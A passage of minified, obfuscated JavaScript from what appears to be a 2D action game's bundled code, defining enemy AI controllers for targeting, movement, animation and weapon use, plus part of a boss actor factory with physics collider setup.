_0x24479f['halfExtents']['x'] + 0x2 * _0x24479f['borderRadius'], _0x506bc1 = 0.5 * (_0x24479f['halfExtents']['y'] + 0x2 * _0x24479f['borderRadius']) - (this['config']['movementConfig']['config']['obstacleDetectionHeight'] ?? 0x0) - 0.1; this['component']['sensorColliders'][_0x130d1b['ESensorName']['GROUND_LEFT']]['setHalfExtents']({ 'x': _0x358744, 'y': 0.1 }), this['component']['sensorColliders'][_0x130d1b['ESensorName']['GROUND_LEFT']]['setTranslationWrtParent']({ 'x': -_0x358744 - _0x1992c6, 'y': _0x506bc1 }), this['component']['sensorColliders'][_0x130d1b['ESensorName']['GROUND_RIGHT']]['setHalfExtents']({ 'x': _0x51527e, 'y': 0.1 }), this['component']['sensorColliders'][_0x130d1b['ESensorName']['GROUND_RIGHT']]['setTranslationWrtParent']({ 'x': _0x51527e + _0x1992c6, 'y': _0x506bc1 }); } ['calculateNewWidthBasedOnSpeed'](_0x1c399f) { return _0x1c399f * _0x2e1a63; } } _0xa96bb1['AiSensorAdjustmentController'] = _0x4a9644; }, 0x6: (_0x527d7e, _0x359a86, _0x263771) => { 'use strict'; Object['defineProperty'](_0x359a86, '__esModule', { 'value': !0x0 }), _0x359a86['AiTargetController'] = void 0x0; const _0x422f1e = _0x263771(0x17e), _0x2f7bf8 = _0x263771(0x1520), _0xd2533 = _0x263771(0x1832), _0x289a55 = [_0xd2533['EActorTag']['PLAYER']]; class _0xec7820 extends _0x2f7bf8['ComponentController']{ ['lastUpdateTime'] = 0x0; constructor(_0x32056e) { super(_0x32056e); } ['postInit']() { this['maybeSetTarget'](), this['messageBus']['subscribe'](this, 'damage', _0x1e5c10 => { if (_0x1e5c10['damage'] <= 0x0) return; const _0x30b7c7 = _0x1e5c10['damageOwnerActor']; if (!_0x30b7c7) return; _0x289a55['some'](_0x4afea2 => _0x30b7c7['getConfig']()['tags']?.['includes'](_0x4afea2)) && this['store']['update']('targetActorHandles', [_0x1e5c10['damageOwnerActor']]); }); } ['update'](_0x179fca) { -0x1 === this['store']['get']('distanceToTargetWithGroundCheck') && (this['lastUpdateTime'] += _0x179fca, this['lastUpdateTime'] > 0x1 && (this['maybeSetTarget'](), this['lastUpdateTime'] = 0x0)); } ['maybeSetTarget']() { const _0xb27440 = this['config']['targetActorHandles']['flatMap'](_0x445643 => this['gameContext']['queryActors'](_0x445643))['find'](_0x576379 => { const _0x26c1a2 = this['actor']['getFromStore']('physicsPosition'), _0x5b88ca = _0x576379['getFromStore']('physicsPosition'), _0x4a7f03 = (0x0, _0x422f1e['calculateDistanceToTarget'])(this['config']['world'], _0x26c1a2, _0x5b88ca); return -0x1 !== _0x4a7f03 && _0x4a7f03 < this['config']['aiConfig']['targetDetectionRange']; }); _0xb27440 && this['store']['update']('targetActorHandles', [_0xb27440]); } } _0x359a86['AiTargetController'] = _0xec7820; }, 0x39c: (_0x5e2715, _0xfd1f35, _0x5af2f5) => { 'use strict'; Object['defineProperty'](_0xfd1f35, '__esModule', { 'value': !0x0 }), _0xfd1f35['AiWalkerAnimationController'] = void 0x0; const _0x48629c = _0x5af2f5(0x1520); class _0x13d6a6 extends _0x48629c['ComponentController']{ ['init']() { this['store']['subscribe']('hp', ({ oldValue: _0x2c249b, newValue: _0x2e329 }) => { _0x2e329 < _0x2c249b && (this['component']['playAnimation']({ 'name': 'Damage', 'loop': !0x1, 'timeScale': 0x1, 'trackIndex': 0x2 }), this['component']['addClearAnimation'](0x2)); }), this['messageBus']['subscribe'](this, 'cancelAttack', () => { this['component']['clearAnimation'](0x1); }); } ['update'](_0x463fe5) { if (this['store']['get']('hp') <= 0x0) return; if (this['store']['get']('stunTimeMS') > 0x0) return this['component']['isPlayingAnimation']('Stun', 0x0) || this['component']['clearAnimation'](0x0), this['component']['playAnimation']({ 'name': 'Stun', 'loop': !0x1, 'timeScale': 0x2, 'trackIndex': 0x0 }), void this['component']['clearAnimation'](0x1); const _0x242a8f = this['store']['get']('isGrounded'); if (this['setDirection'](_0x242a8f), this['isPerformingAttack']()) { this['selectAttackAnimation'](); const _0xacdf17 = this['actor']['getConfig']()['enemyConfig']['renderConfig']['idleAnimationTimescale'] ?? 0x1; this['component']['playAnimation']({ 'name': 'Idle', 'loop': !0x0, 'timeScale': _0xacdf17, 'trackIndex': 0x0 }); } else this['clearChargeAnimation'](), this['selectMovementAnimation'](_0x242a8f); } ['setDirection'](_0x28060d) { const _0x226234 = this['store']['get']('lookDirection') < 0x0, _0x1cdebd = this['store']['get']('lookDirection') >= 0x0; _0x28060d && _0x226234 && this['component']['setDirection']('left'), _0x28060d && _0x1cdebd && this['component']['setDirection']('right'); } ['selectMovementAnimation'](_0x383afa) { const _0x183aa0 = 'MOVEMENT' === this['store']['get']('horizontalState'), _0x52c662 = 'UP' === this['store']['get']('verticalState'), _0x3e74b9 = this['actor']['getConfig']()['enemyConfig']['renderConfig']; if (_0x52c662 || !_0x383afa) { const _0x29431c = _0x3e74b9['jumpAnimationTimescale'] ?? 0x1; this['component']['playAnimation']({ 'name': 'Jump', 'loop': !0x1, 'timeScale': _0x29431c, 'trackIndex': 0x0 }); } else { if (!_0x52c662 && _0x183aa0) { const _0x5a78db = this['store']['get']('currentPerceivedSpeed'); if (Math['abs'](_0x5a78db['x']) > 0.1) { const _0x14e631 = _0x3e74b9['runAnimationTimescale'] ?? 0x1; this['component']['playAnimation']({ 'name': 'Run', 'loop': !0x0, 'timeScale': _0x14e631, 'trackIndex': 0x0 }); } else { const _0x4a15ce = _0x3e74b9['idleAnimationTimescale'] ?? 0x1; this['component']['playAnimation']({ 'name': 'Idle', 'loop': !0x0, 'timeScale': _0x4a15ce, 'trackIndex': 0x0 }); } } else { const _0x191239 = _0x3e74b9['idleAnimationTimescale'] ?? 0x1; this['component']['playAnimation']({ 'name': 'Idle', 'loop': !0x0, 'timeScale': _0x191239, 'trackIndex': 0x0 }); } } } ['selectAttackAnimation']() { const _0x3810f0 = this['store']['get']('currentWeaponName'); if (!_0x3810f0) return; const _0x3da80e = this['gameContext']['getWeaponConfig'](_0x3810f0)['attackConfigs'][this['store']['get']('currentPhaseIndex')]; _0x3da80e && _0x3da80e['phaseAnimation'] && this['component']['playAnimation']({ 'name': _0x3da80e['phaseAnimation'], 'loop': !0x1, 'timeScale': 0x1, 'trackIndex': 0x1, 'mixDuration': 0.3 }); } ['clearChargeAnimation']() { this['component']['isPlayingAnimation']('Charge', 0x1) && this['component']['clearAnimation'](0x1); } ['isPerformingAttack']() { return 'OPERATING' === this['store']['get']('weaponActivityState'); } } _0xfd1f35['AiWalkerAnimationController'] = _0x13d6a6; }, 0xc3a: function (_0x490351, _0x431e52, _0x4b034b) { 'use strict'; var _0x28b3d0 = this && this['__importDefault'] || function (_0x2304d8) { return _0x2304d8 && _0x2304d8['__esModule'] ? _0x2304d8 : { 'default': _0x2304d8 }; }; Object['defineProperty'](_0x431e52, '__esModule', { 'value': !0x0 }), _0x431e52['AiWalkerMovementController'] = void 0x0; const _0x27ae31 = _0x28b3d0(_0x4b034b(0x9a8)), _0x25e703 = _0x4b034b(0x1520), _0xb3f9f1 = _0x4b034b(0x1932); class _0x1c6da9 extends _0x25e703['ComponentController']{ constructor(_0x14c3ea) { super(_0x14c3ea); } ['init']() { this['store']['update']('horizontalState', 'IDLE'), this['store']['update']('verticalState', 'IDLE'), this['store']['update']('jumpDelayMS', 0x0); } ['update'](_0x52aef8) { this['store']['get']('stunTimeMS') > 0x0 || !this['config']['allowMovementWhileAttacking'] && this['isPerformingAttack']() || (this['handleHorizontalMovement'](_0x52aef8), this['handleVerticalMovement'](_0x52aef8)); } ['handleHorizontalMovement'](_0x1f2a50) { let _0x50f1e6 = 'IDLE'; this['store']['get']('isGrounded') && !this['config']['stationary'] && (this['store']['get']('aiActionLeft') && (this['maybeGoLeft'](_0x1f2a50), _0x50f1e6 = 'MOVEMENT'), this['store']['get']('aiActionRight') && (this['maybeGoRight'](_0x1f2a50), _0x50f1e6 = 'MOVEMENT')), this['store']['update']('horizontalState', _0x50f1e6); } ['handleVerticalMovement'](_0x10d4d3) { const _0x3b0a7a = this['store']['get']('isGrounded'); switch (this['store']['get']('verticalState')) { case 'IDLE': { this['maybeJump'](_0x10d4d3) && this['store']['update']('verticalState', 'UP'); const _0x1536d1 = this['store']['get']('jumpDelayMS'); _0x1536d1 > 0x0 && this['store']['update']('jumpDelayMS', Math['max'](_0x1536d1 - _0x10d4d3, 0x0)); break; } case 'UP': _0x3b0a7a && this['store']['update']('verticalState', 'IDLE'); } } ['maybeGoLeft'](_0x4c381b) { const _0x2d3619 = this['component']['get']()['linvel'](); if (_0x2d3619['x'] < -this['config']['maxXSpeed']) return; if (!this['isAllowedToFallFromEdgeInCurrentState']()) { if (!this['store']['get']('sensorCollisionState')[_0xb3f9f1['ESensorName']['GROUND_BOTTOM_LEFT']]) return void this['store']['update']('currentWanderState', 'right'); } const _0x23d65e = new _0x27ae31['default']['Vector2'](_0x2d3619['x'], _0x2d3619['y']); this['component']['get']()['setLinvel'](_0x23d65e, !0x0), this['component']['get']()['applyImpulse'](new _0x27ae31['default']['Vector2'](-this['config']['xMovementForce'] * _0x4c381b, 0x0), !0x0); } ['maybeGoRight'](_0x8f7621) { const _0x1795e0 = this['component']['get']()['linvel'](); if (_0x1795e0['x'] > this['config']['maxXSpeed']) return; if (!this['isAllowedToFallFromEdgeInCurrentState']()) { if (!this['store']['get']('sensorCollisionState')[_0xb3f9f1['ESensorName']['GROUND_BOTTOM_RIGHT']]) return void this['store']['update']('currentWanderState', 'left'); } const _0x260fe9 = new _0x27ae31['default']['Vector2'](_0x1795e0['x'], _0x1795e0['y']); this['component']['get']()['setLinvel'](_0x260fe9, !0x0), this['component']['get']()['applyImpulse'](new _0x27ae31['default']['Vector2'](this['config']['xMovementForce'] * _0x8f7621, 0x0), !0x0); } ['isAllowedToFallFromEdgeInCurrentState']() { const _0x59eaa3 = this['store']['get']('aiState'); return !!this['config']['allowFallFromEdgeInStates']?.['includes'](_0x59eaa3); } ['maybeJump'](_0x5d8110) { if (this['store']['get']('jumpDelayMS') > 0x0) return !0x1; if (!this['store']['get']('sensorCollisionState')[_0xb3f9f1['ESensorName']['GROUND_BOTTOM']]) return !0x1; const _0xc4b85b = this['config']['jumpConfig'], _0x10b1b1 = this['store']['get']('aiActionLeft'), _0x177d4a = this['store']['get']('aiActionRight'), _0x1815fa = this['component']['get']()['linvel']()['x'] < -0x1, _0x8fba52 = this['component']['get']()['linvel']()['x'] > 0x1, _0x233f11 = this['store']['get']('sensorCollisionState')[_0xb3f9f1['ESensorName']['GROUND_LEFT']], _0x52e520 = this['store']['get']('sensorCollisionState')[_0xb3f9f1['ESensorName']['GROUND_RIGHT']], _0x63be6e = _0x10b1b1 && _0x233f11, _0x2be2b3 = _0x177d4a && _0x52e520, _0x31f55d = _0xc4b85b['jumpNearWall'] && (_0x63be6e || _0x2be2b3), _0x409c9c = !this['store']['get']('sensorCollisionState')[_0xb3f9f1['ESensorName']['GROUND_BOTTOM_LEFT']], _0x1a1c52 = !this['store']['get']('sensorCollisionState')[_0xb3f9f1['ESensorName']['GROUND_BOTTOM_RIGHT']], _0xf09d52 = (_0x10b1b1 || _0x1815fa) && _0x409c9c, _0x122179 = (_0x177d4a || _0x8fba52) && _0x1a1c52, _0x148424 = _0xc4b85b['jumpNearEdge'] && (_0xf09d52 || _0x122179) && 'PURSUING' === this['store']['get']('aiState'), _0x19dea3 = this['store']['get']('aiActionUp') && _0xc4b85b['jumpToReachTarget'], _0xbb3956 = _0x31f55d || _0x148424 || !_0x10b1b1 && !_0x177d4a && _0x19dea3; return _0xbb3956 && this['performJump'](_0x5d8110), !!_0xbb3956; } ['performJump'](_0x4e0359) { const _0x47b32b = this['store']['get']('lookDirection') > 0x0 ? 0x1 : -0x1, _0x2deb16 = this['config']['jumpConfig']; this['component']['get']()['applyImpulse'](new _0x27ae31['default']['Vector2'](_0x2deb16['xJumpForce'] * _0x47b32b, -_0x2deb16['yJumpForce']), !0x0), this['store']['update']('jumpDelayMS', _0x2deb16['jumpDelayMS'] / 0x3e8); } ['isPerformingAttack']() { return 'OPERATING' === this['store']['get']('weaponActivityState'); } } _0x431e52['AiWalkerMovementController'] = _0x1c6da9; }, 0x148d: (_0x4a130f, _0x1f9109, _0x2d7b75) => { 'use strict'; Object['defineProperty'](_0x1f9109, '__esModule', { 'value': !0x0 }), _0x1f9109['AiWalkerSpritesheetAnimationController'] = void 0x0; const _0x29f620 = _0x2d7b75(0x1520); class _0x2bd34d extends _0x29f620['ComponentController']{ constructor(_0x34ddc4) { super(), this['config'] = _0x34ddc4; } ['init']() { this['config']['animationName'] = Array['isArray'](this['config']['animationName']) ? [...this['config']['animationName']] : this['config']['animationName']['split'](','), this['store']['subscribe']('hp', ({ oldValue: _0x3e6adb, newValue: _0x37b87e }) => { _0x37b87e < _0x3e6adb && this['component']['play']({ 'animationName': '' + this['createAnimationName']('Damage'), 'loop': !0x1 }); }), this['messageBus']['subscribe'](this, 'attackPhaseStarts', () => { this['selectAttackAnimation'](!0x0); }); } ['update'](_0x535c04) { if (this['store']['get']('hp') <= 0x0) return; if (this['store']['get']('stunTimeMS') > 0x0) return void this['component']['play']({ 'animationName': '' + this['createAnimationName']('Stun'), 'loop': !0x1 }); const _0x4fffc6 = this['store']['get']('isGrounded'); this['isPerformingAttack']() ? this['selectAttackAnimation'](!0x1) : this['selectMovementAnimation'](_0x4fffc6); } ['selectMovementAnimation'](_0x39d472) { const _0x153375 = 'MOVEMENT' === this['store']['get']('horizontalState'), _0x57543c = 'UP' === this['store']['get']('verticalState'); if (_0x57543c || !_0x39d472) this['component']['play']({ 'animationName': '' + this['createAnimationName']('Jump'), 'loop': !0x1 }); else { if (!_0x57543c && _0x153375) { const _0x5133a4 = this['store']['get']('currentPerceivedSpeed'); Math['abs'](_0x5133a4['x']) > 0.1 ? this['component']['play']({ 'animationName': '' + this['createAnimationName']('Run'), 'loop': !0x0 }) : this['component']['play']({ 'animationName': '' + this['createAnimationName']('Idle'), 'loop': !0x0 }); } else this['component']['play']({ 'animationName': '' + this['createAnimationName']('Idle'), 'loop': !0x0 }); } } ['selectAttackAnimation'](_0x20d335) { const _0x10ca5b = this['store']['get']('currentWeaponName'); if (!_0x10ca5b) return !0x1; const _0x924fa9 = this['gameContext']['getWeaponConfig'](_0x10ca5b)['attackConfigs'][this['store']['get']('currentPhaseIndex')]; return !(!_0x924fa9 || !_0x924fa9['phaseAnimation']) && (this['component']['play']({ 'animationName': this['createAnimationName'](_0x924fa9['phaseAnimation']), 'loop': !0x1, 'restartAnimationIfPlaying': _0x924fa9['restartPhaseAnimationOnFire'] && _0x20d335 }), !0x0); } ['isPerformingAttack']() { return 'OPERATING' === this['store']['get']('weaponActivityState'); } ['createAnimationName'](_0x5762e6) { return this['config']['animationName'][0x0]['split']('/')[0x0] + '/' + _0x5762e6; } } _0x1f9109['AiWalkerSpritesheetAnimationController'] = _0x2bd34d; }, 0x1101: (_0x2a804a, _0x73d456, _0x53565c) => { 'use strict'; Object['defineProperty'](_0x73d456, '__esModule', { 'value': !0x0 }), _0x73d456['AiWeaponTriggerController'] = void 0x0; const _0x496495 = _0x53565c(0x1520), _0x5011c9 = _0x53565c(0x1b39); class _0x1b4941 extends _0x496495['ComponentController']{ constructor(_0x21a2d0) { super(_0x21a2d0); } ['update'](_0x442f15) { const _0x1aefb6 = this['getClosestTarget'](); if (!_0x1aefb6) return; _0x1aefb6['getFromStore']('hp') > 0x0 || !this['store']['get']('aiCurrentFiringWeaponName') ? this['updateWeapons']() : this['store']['update']('aiCurrentFiringWeaponName', null); } ['updateWeapons']() { const _0x3c7c22 = this['getClosestTarget'](); if (!_0x3c7c22) return; const _0xe6cff3 = this['store']['get']('aiCurrentFiringWeaponName'), _0x2dbe24 = 'OPERATING' === this['store']['get']('weaponActivityState'); !('PURSUING' === this['store']['get']('aiState')) && _0xe6cff3 && this['store']['update']('aiCurrentFiringWeaponName', null), _0xe6cff3 && _0x2dbe24 ? this['updateCurrentWeapon'](_0xe6cff3, _0x3c7c22) : this['maybeSelectNewWeapon'](_0x3c7c22); } ['maybeSelectNewWeapon'](_0x2bf5af) { if (!this['seesAnyTarget']()) return; if (!('PURSUING' === this['store']['get']('aiState'))) return; this['store']['update']('lookDirection', this['getLookDirectionToTarget'](_0x2bf5af)); const _0x45e924 = this['getClosestEligibleWeapon'](_0x2bf5af); _0x45e924 && this['store']['update']('aiCurrentFiringWeaponName', _0x45e924); } ['updateCurrentWeapon'](_0x33cf54, _0xcfc43d) { const _0x2220e = this['getWeaponConfig'](_0x33cf54), _0x1bb1d8 = this['store']['get']('currentPhaseIndex'), _0x49a241 = _0x2220e['attackConfigs'][_0x1bb1d8]; if (!_0x49a241) return; const _0x4e6300 = _0x49a241['preventAiChangeDirection'], _0x7b6f3c = this['targetInGeneralRange'](_0x2220e), { lookDirection: _0x2000f8, targetInFiringCone: _0xb99041 } = this['getBestAngleToTarget'](_0xcfc43d, _0x2220e); !_0x4e6300 && _0xb99041 && this['store']['update']('lookDirection', _0x2000f8); const _0x59a083 = _0x49a241['continueIntoNextPhase']; (!_0x7b6f3c || !_0xb99041) && !_0x59a083 && (this['store']['update']('aiCurrentFiringWeaponName', null), this['messageBus']['publish']('cancelAttack'), this['maybeSelectNewWeapon'](_0xcfc43d)); } ['getClosestEligibleWeapon'](_0x191105) { const _0x529766 = {}; this['config']['weaponNames']['forEach'](_0x5e4e77 => { const _0x1f3921 = this['getWeaponConfig'](_0x5e4e77), _0x1ecd82 = this['store']['get']('distanceToTargetWithGroundCheck'), _0x46b300 = this['targetInGeneralRange'](_0x1f3921), { lookDirection: _0x2ea8a1, targetInFiringCone: _0x5b2e36 } = this['getBestAngleToTarget'](_0x191105, _0x1f3921); _0x46b300 && _0x5b2e36 && (_0x529766[_0x5e4e77] = _0x1ecd82); }); const _0x26fc6b = Object['entries'](_0x529766)['find'](([_0x19b2ac, _0x5df7ac]) => _0x5df7ac === Math['min'](...Object['values'](_0x529766))); return _0x26fc6b ? _0x26fc6b[0x0] : null; } ['getClosestTarget']() { return this['store']['get']('targetActorHandles')['filter'](_0x5d4c83 => _0x5d4c83['getFromStore']('renderPosition'))[0x0]; } ['targetInGeneralRange'](_0x2d25b6) { const _0x2391e3 = this['store']['get']('distanceToTargetWithGroundCheck'), _0x51f2ac = _0x2391e3 > 0x0, _0x2c5c35 = _0x2391e3 > _0x2d25b6['aiWeaponSelectionConfig']['minAttackRange'], _0x216134 = _0x2391e3 < _0x2d25b6['aiWeaponSelectionConfig']['maxAttackRange']; return _0x51f2ac && _0x2c5c35 && _0x216134; } ['getBestAngleToTarget'](_0x49c025, _0x816c75) { const _0x4a0aaf = _0x816c75['aiWeaponSelectionConfig'], _0x373cdf = _0x49c025['getFromStore']('renderPosition'), _0x4445c8 = this['store']['get']('renderPosition'); for (const _0x501260 of _0x4a0aaf['attackCones']) { const { angleToTarget: _0x2acb91, targetInFiringCone: _0x5984c3 } = (0x0, _0x5011c9['getBestAngleToTarget'])({ 'originPoint': _0x4445c8, 'angle': _0x501260['angle'], 'range': _0x501260['range'] }, this['store']['get']('lookDirection'), _0x373cdf); if (_0x5984c3) return { 'lookDirection': _0x2acb91, 'targetInFiringCone': _0x5984c3 }; } return { 'lookDirection': 0x0, 'targetInFiringCone': !0x1 }; } ['getLookDirectionToTarget'](_0x50e026) { const _0x6620cf = _0x50e026['getFromStore']('renderPosition'), _0x4c6691 = this['store']['get']('renderPosition'); return (0x0, _0x5011c9['angleToTarget'])(_0x4c6691, _0x6620cf); } ['seesAnyTarget']() { const _0x495cff = this['store']['get']('distanceToTargetWithGroundCheck'); return _0x495cff > 0x0 && _0x495cff < this['config']['targetDetectionRange']; } ['getWeaponConfig'](_0x39aa8a) { return this['gameContext']['getWeaponConfig'](_0x39aa8a); } } _0x73d456['AiWeaponTriggerController'] = _0x1b4941; }, 0xda8: function (_0x5c1c9a, _0x3af179, _0x211889) { 'use strict'; var _0x3095bb = this && this['__importDefault'] || function (_0x538cc7) { return _0x538cc7 && _0x538cc7['__esModule'] ? _0x538cc7 : { 'default': _0x538cc7 }; }; Object['defineProperty'](_0x3af179, '__esModule', { 'value': !0x0 }), _0x3af179['createBossActor'] = void 0x0; const _0x83bc9b = _0x3095bb(_0x211889(0x9a8)), _0x3026c2 = _0x211889(0x25fa), _0x4df2da = _0x211889(0x942), _0x45cee4 = _0x211889(0xa0), _0x55da11 = _0x211889(0xb35), _0x801d4e = _0x211889(0x1832), _0x3e3cbf = _0x211889(0x2dd), _0x5daaf2 = _0x211889(0x81), _0x3a501e = _0x211889(0x98f), _0xfc3f1 = _0x211889(0x71f), _0x52f941 = _0x211889(0xd2e), _0x24e2c7 = _0x211889(0x229c), _0x208f95 = _0x211889(0x1932), _0x449298 = _0x211889(0x13e1), _0xaeea32 = _0x211889(0x1a57), _0x517d98 = _0x211889(0x1ae2), _0x58ee79 = _0x211889(0x7bf), _0x271185 = _0x211889(0x1797), _0x700549 = _0x211889(0x41), _0x3ced7d = _0x211889(0x1371), _0x48600d = _0x211889(0x83), _0x8ed8d7 = _0x211889(0x1d42), _0x1c21b5 = _0x211889(0x6a9), _0x11a060 = _0x211889(0x2517), _0x639015 = _0x211889(0x18b9), _0x3ef4bb = _0x211889(0x14e9), _0x2d6ba6 = _0x211889(0x276), _0x56d918 = _0x211889(0xa1), _0x25c45b = _0x211889(0xcb2), _0x129941 = _0x211889(0x18c1), _0x8dc1f2 = _0x211889(0x1b38), _0x70bbba = _0x211889(0xcaa), _0x9ebd4b = _0x211889(0x2287), _0x419601 = _0x211889(0x2420), _0x48c0b8 = _0x211889(0x655), _0x354a47 = _0x211889(0xcfb), _0x81f036 = _0x211889(0x26d1), _0x4764b5 = _0x211889(0x119a), _0x4ff023 = _0x211889(0x118a), _0x43a045 = _0x211889(0x114c), _0x3ba0b1 = _0x211889(0x253f), _0x476327 = _0x211889(0x175f), _0x3cc140 = _0x211889(0x409), _0x1e8796 = _0x211889(0x188d), _0x16428f = _0x211889(0x131f), _0x269588 = _0x211889(0xb38), _0x56bf58 = _0x211889(0x22ae), _0x28421c = { ..._0x52f941['actorModel'], ..._0x24e2c7['damageModel'], ..._0x208f95['sensorModel'], ..._0x449298['movementModel'], ..._0xaeea32['weaponModel'], ..._0x517d98['aiModel'], ..._0x1c21b5['bossStateModel'], ..._0x129941['lightModel'], ..._0x8dc1f2['actionControlModel'] }; function _0x5f4295(_0x52519c) { if ('immobile' === _0x52519c['enemyConfig']['movementConfig']['name']) throw new Error('Boss\x20cannot\x20be\x20immobile'); return new _0x476327['BossMovementController']({ 'movementConfig': _0x52519c['enemyConfig']['movementConfig']['config'] }); } function _0x48b0bd(_0x56cfaa) { const _0x30b13f = _0x56cfaa['enemyConfig']['renderConfig']; return new _0xfc3f1['SpineRenderComponent']({ 'spineAssetName': _0x30b13f['spineAssetName'], 'animationName': 'Idle', 'loop': !0x0, 'scale': _0x30b13f['scale'], 'tint': parseInt('0xffffff', 0x10), 'offsetPosition': _0x30b13f['offsetPosition'], 'controllers': [new _0x11a060['BossAnimationController'](), new _0x269588['BossStateWeaponAnimationController'](), new _0x3a501e['DamageFlashController']({ 'disabledOnBackend': !0x0 })] }); } function _0x381bb3(_0x145606) { const _0xd888b3 = {}; return _0x145606['forEach'](_0x59d287 => { (Array['isArray'](_0x59d287['name']) ? _0x59d287['name'] : [_0x59d287['name']])['forEach'](_0x252646 => { _0xd888b3[_0x252646] = { 'customTriggerFunction': _0x4e75db => _0x4e75db['get']('aiCurrentFiringWeaponName') === _0x252646 }; }); }), _0xd888b3; } _0x3af179['createBossActor'] = function (_0x141b75) { const _0x981a82 = [new _0x5daaf2['WeaponRecoilController'](), new _0x48600d['AirFrictionController']({ 'airFriction': 0.996, 'maxVelocity': 0x64 }), new _0x3e3cbf['RigidBodySensorController']({ 'calculateDistanceToGround': !0x0, 'calculateCanSeeTarget': !0x0, 'groundTags': [_0x801d4e['EActorTag']['GROUND']] }), new _0x81f036['RigidBodyDashCollisionResponseController'](), new _0x3cc140['RigidBodyTeleportController'](), _0x5f4295(_0x141b75)]; let _0x2c734e = 0x1; 'immobile' !== _0x141b75['enemyConfig']['movementConfig']['name'] && (_0x2c734e = 0.5 + _0x141b75['enemyConfig']['movementConfig']['config']['maxXSpeed'] / 0x19); const _0x1305c7 = [_0x16428f['BOSS_WEAPON_HOMING_BALLS'], _0x16428f['BOSS_WEAPON_BLOBS_PHASE1'], _0x16428f['BOSS_WEAPON_BLOBS_PHASE2'], _0x16428f['BOSS_WEAPON_LIGHTNINGS'], _0x16428f['BOSS_WEAPON_DOWNSTRIKES_PHASE1'], _0x16428f['BOSS_WEAPON_DOWNSTRIKES_PHASE2'], _0x16428f['BOSS_WEAPON_MEGABEAM_PHASE1'], _0x16428f['BOSS_WEAPON_MEGABEAM_PHASE2'], _0x16428f['BOSS_WEAPON_BEAMSPAM']]; return new _0x3026c2['Actor']({ ..._0x141b75, 'tags': [_0x801d4e['EActorTag']['ENEMY']], 'name': 'Boss_' + _0x141b75['enemyConfig']['name'], 'useForVerification': !0x0, 'model': _0x28421c, 'components': [_0x48b0bd(_0x141b75), new _0x43a045['BossDamageComponent'](), new _0x45cee4['DamageComponent']({ 'hp': _0x141b75['enemyConfig']['hp'], 'maxHp': _0x141b75['enemyConfig']['hp'], 'stunResistance': _0x141b75['enemyConfig']['stunResistance'], 'removeActorOnDestruction': !0x0, 'controllers': [new _0x271185['DamageSourceProjectileController']({ 'world': _0x141b75['world'] }), new _0x700549['DamageSideEffectController']({ 'world': _0x141b75['world'], 'flashOnHit': _0x141b75['enemyConfig']['flashOnHit'], 'flashOnDestroy': _0x141b75['enemyConfig']['flashOnDestroy'], 'screenShakeOnHit': _0x141b75['enemyConfig']['screenShakeOnHit'], 'screenShakeOnDestroy': _0x141b75['enemyConfig']['screenShakeOnDestroy'], 'chunksOnHit': _0x141b75['enemyConfig']['chunksOnHit'], 'chunksOnDestroy': _0x141b75['enemyConfig']['chunksOnDestroy'], 'explosionOnDestroy': _0x141b75['enemyConfig']['explosionOnDestroy'], 'particlesOnHit': _0x141b75['enemyConfig']['particlesOnHit'], 'particlesOnDestroy': _0x141b75['enemyConfig']['particlesOnDestroy'], 'dropOnHit': _0x141b75['enemyConfig']['dropOnHit'], 'dropOnDestroy': _0x141b75['enemyConfig']['dropOnDestroy'] })] }), new _0x56bf58['BossDamageSideEffectComponent']({ 'world': _0x141b75['world'], 'firingPoints': _0x141b75['enemyConfig']['firingPoints'] }), new _0x4df2da['RigidBodyComponent']({ 'world': _0x141b75['world'], 'bodyDesc': _0x83bc9b['default']['RigidBodyDesc']['dynamic']()['lockRotations'](), 'useRotation': !0x0, 'linearDamping': _0x141b75['enemyConfig']['linearDamping'] ?? 0x0, 'collidersDesc': { 'body': _0x83bc9b['default']['ColliderDesc']['roundCuboid'](_0x141b75['enemyConfig']['colliderDimensions']['hx'], _0x141b75['enemyConfig']['colliderDimensions']['hy'], _0x141b75['enemyConfig']['colliderDimensions']['borderRadius'])['setFriction'](_0x141b75['enemyConfig']['friction'] ?? 0x0)['setRestitution'](_0x141b75['enemyConfig']['restitution'] ?? 0x0)['setCollisionGroups'](_0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_PROJECTILE'] | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['GROUND'])['setSolverGroups'](_0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'])['setMass'](_0x141b75['enemyConfig']['mass']) }, 'sensorsDesc': { 'dashDetectionSensor': _0x83bc9b['default']['ColliderDesc']['roundCuboid'](_0x141b75['enemyConfig']['colliderDimensions']['hx'], _0x141b75['enemyConfig']['colliderDimensions']['hy'], _0x141b75['enemyConfig']['colliderDimensions']['borderRadius'])['setCollisionGroups'](_0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['PLAYER']), [_0x208f95['ESensorName']['GROUND_LEFT']]: _0x83bc9b['default']['ColliderDesc']['cuboid']((_0x141b75['enemyConfig']['colliderDimensions']['hx'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius']) * _0x2c734e, 0.45 * (_0x141b75['enemyConfig']['colliderDimensions']['hy'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius']))['setTranslation']((0x2 * -_0x141b75['enemyConfig']['colliderDimensions']['hx'] - 0x2 * _0x141b75['enemyConfig']['colliderDimensions']['borderRadius']) * _0x2c734e, 0.45 * (_0x141b75['enemyConfig']['colliderDimensions']['hy'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius']))['setCollisionGroups'](_0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']), [_0x208f95['ESensorName']['GROUND_RIGHT']]: _0x83bc9b['default']['ColliderDesc']['cuboid']((_0x141b75['enemyConfig']['colliderDimensions']['hx'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius']) * _0x2c734e, 0.45 * (_0x141b75['enemyConfig']['colliderDimensions']['hy'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius']))['setTranslation']((0x2 * 